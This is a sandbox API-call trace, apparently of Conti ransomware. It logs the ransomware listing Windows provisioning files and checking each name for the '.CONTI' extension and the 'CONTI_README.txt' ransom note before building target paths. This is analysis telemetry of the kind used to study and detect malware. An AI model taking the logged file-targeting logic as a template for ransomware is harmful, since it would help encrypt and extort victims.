	[0109.649] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", cAlternateFileName="556__C~1.PRO")) returned 1
	[0109.649] lstrcmpiW (lpString1="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.649] lstrcmpiW (lpString1="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.649] StrStrIW (lpFirst="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.649] StrStrIW (lpFirst="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.649] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.649] lstrlenW (lpString="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml") returned 88
	[0109.649] GetProcessHeap () returned 0x1720000
	[0109.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x166) returned 0x18165d8
	[0109.650] lstrcpyW (in: lpString1=0x18165d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml"
	[0109.650] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="557__C~1.PRO")) returned 1
	[0109.650] lstrcmpiW (lpString1="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.650] lstrcmpiW (lpString1="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.650] StrStrIW (lpFirst="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.650] StrStrIW (lpFirst="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.650] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.650] lstrlenW (lpString="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.650] GetProcessHeap () returned 0x1720000
	[0109.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b6f00
	[0109.650] lstrcpyW (in: lpString1=0x65b6f00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml"
	[0109.650] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", cAlternateFileName="558__C~1.PRO")) returned 1
	[0109.650] lstrcmpiW (lpString1="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.650] lstrcmpiW (lpString1="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.650] StrStrIW (lpFirst="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.650] StrStrIW (lpFirst="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.650] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.650] lstrlenW (lpString="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml") returned 66
	[0109.650] GetProcessHeap () returned 0x1720000
	[0109.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b7190
	[0109.650] lstrcpyW (in: lpString1=0x65b7190, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml"
	[0109.650] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="559__C~1.PRO")) returned 1
	[0109.653] lstrcmpiW (lpString1="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.653] lstrcmpiW (lpString1="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.653] StrStrIW (lpFirst="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.653] StrStrIW (lpFirst="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.653] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.653] lstrlenW (lpString="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.653] GetProcessHeap () returned 0x1720000
	[0109.653] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b7568
	[0109.653] lstrcpyW (in: lpString1=0x65b7568, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.653] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.653] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml"
	[0109.653] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="55__CO~1.PRO")) returned 1
	[0109.653] lstrcmpiW (lpString1="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.653] lstrcmpiW (lpString1="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.653] StrStrIW (lpFirst="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.653] StrStrIW (lpFirst="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.654] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.654] lstrlenW (lpString="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml") returned 60
	[0109.654] GetProcessHeap () returned 0x1720000
	[0109.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17e1948
	[0109.654] lstrcpyW (in: lpString1=0x17e1948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml"
	[0109.654] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="560__C~1.PRO")) returned 1
	[0109.654] lstrcmpiW (lpString1="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.654] lstrcmpiW (lpString1="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.654] StrStrIW (lpFirst="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.654] StrStrIW (lpFirst="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.654] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.654] lstrlenW (lpString="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml") returned 66
	[0109.654] GetProcessHeap () returned 0x1720000
	[0109.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b6750
	[0109.654] lstrcpyW (in: lpString1=0x65b6750, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml"
	[0109.654] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="561__C~1.PRO")) returned 1
	[0109.654] lstrcmpiW (lpString1="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.654] lstrcmpiW (lpString1="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.654] StrStrIW (lpFirst="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.654] StrStrIW (lpFirst="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.654] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.654] lstrlenW (lpString="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml") returned 66
	[0109.654] GetProcessHeap () returned 0x1720000
	[0109.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b7048
	[0109.654] lstrcpyW (in: lpString1=0x65b7048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.654] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml"
	[0109.655] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="562__C~1.PRO")) returned 1
	[0109.655] lstrcmpiW (lpString1="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.655] lstrcmpiW (lpString1="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.655] StrStrIW (lpFirst="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.655] StrStrIW (lpFirst="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.655] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.655] lstrlenW (lpString="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml") returned 66
	[0109.655] GetProcessHeap () returned 0x1720000
	[0109.655] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b7e60
	[0109.655] lstrcpyW (in: lpString1=0x65b7e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.655] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml"
	[0109.655] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914503e2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914503e2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914503e2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="563__C~1.PRO")) returned 1
	[0109.655] lstrcmpiW (lpString1="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.655] lstrcmpiW (lpString1="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.655] StrStrIW (lpFirst="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.655] StrStrIW (lpFirst="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.655] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.655] lstrlenW (lpString="563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml") returned 66
	[0109.655] GetProcessHeap () returned 0x1720000
	[0109.655] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65b76b0
